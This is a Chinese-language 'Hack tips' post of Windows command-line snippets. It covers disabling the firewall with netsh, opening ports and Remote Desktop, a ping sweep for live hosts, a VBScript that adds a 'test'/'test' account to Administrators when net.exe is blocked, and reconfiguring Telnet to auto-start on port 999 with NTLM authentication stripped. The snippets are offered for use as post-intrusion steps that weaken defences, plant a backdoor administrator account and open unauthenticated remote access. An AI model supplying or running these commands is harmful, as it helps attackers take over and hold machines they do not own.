Hack 小技巧...
1、:: 命令行下对防火墙的修改
netsh firewall add allowedprogram program = %systemroot%\system32\sessmgr.exe name=远程协助 mode=DISABLE
REM [去掉系统默认的远程协助]
netsh firewall set service type = REMOTEDESKTOP mode = ENABLE
REM 允许远程桌面通过防火墙[3389]
netsh firewall set notifications mode = DISABLE REM 关闭防火墙通知程序
netsh firewall set notifications mode = ENABLE REM 开启防火墙通知程序
netsh firewall set opmode mode = DISABLE REM 关闭防火墙
netsh firewall set opmode mode = ENABLE exceptions = ENABLE REM 开启防火墙 允许列外
netsh firewall set opmode mode = ENABLE exceptions = DISABLE REM 开启防火墙 不允许列外
netsh firewall reset REM [恢复系统默认防火墙配置]
netsh firewall add portopening tcp 999 测试端口 REM 允许名为“测试端口”的 "999" 通过防火墙
netsh firewall add allowedprogram program = %systemroot%\测试.exe name=测试 mode=ENABLE
REM 允许路径为“%systemroot%\测试.exe”通过防火墙
更多详细可在系统"帮助和支持中心"输入 "Netsh"查看.
2、::命令行下扫描在线主机
for /L %I in (1,1,254) do @FOR /F "tokens=3 usebackq delims=: " %J IN (`ping -w 100 -n 1 192.168.0.%I^|findstr "Reply"`) DO @echo %J
另開一CMD ,輸入Arp -g ,可看到部分防火牆後的主機 。
3、::net和net1无权限时添加用户
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","test")
od.SetPassword "test" '密码在这改
od.SetInfo
Set of=GetObject(os & "/test", user)
oe.add os & "/test"
' 使用方法 cscript 1.vbs,添加用户test,密码test
4、::TELNET服务的设置[命令行]
Windows 2000:
====================================
tlntadmn <C:\1.txt
[C:\1.txt 内容]
------------------------------------------
5 '停止服务 先停
3 '显示 / 更改注册表设置 ...
7 'NTLM
y '确定修改
0 '改为0
y '确定保存 [去掉了NTLM验证]
8 'TelnetPort
y '确定要修改?
999 '[你要改的端口号]
y '确定
0 '退出该级菜单
4 '开始服务
0 '退出
Windows XP/Windows 2003:
====================================
sc stop tlntsvr
sc config tlntsvr start= auto
tlntadmn config port =999 '修改Telnet的端口
tlntadmn config sec = -ntlm '去除Telnet的NTLM验证
sc start tlntsvr
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 |